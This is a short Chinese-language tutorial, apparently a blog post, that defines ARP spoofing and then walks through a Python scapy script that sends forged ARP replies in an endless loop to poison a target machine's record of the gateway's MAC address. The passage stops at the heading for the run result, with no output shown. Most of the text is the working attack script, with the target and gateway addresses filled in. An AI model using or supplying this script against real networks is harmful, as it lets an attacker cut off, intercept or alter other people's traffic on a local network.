什么是ARP欺骗?
是针对ARP协议的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
工具准备
软件:Python3(已安装scapy包)
如果未安装可使用pip install scapy命令安装
Wireshark(用于抓包)
操作系统:这里我采用Kali Linux
开始编写
第一步,发包
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from scapy.all import *
arp = Ether(dst="50:46:5D:5A:F1:68")/ARP(psrc="192.168.1.1",hwsrc="ff:ff:ff:ff:ff:ff",pdst="192.168.1.104",hwdst="50:46:5D:5A:F1:68",op=2)
'''
dst和hwdst是被攻击的设备的MAC地址
psrc是网关IP
hwsrc是伪造网关的MAC地址
'''
while True:
sendp(arp)
运行结果: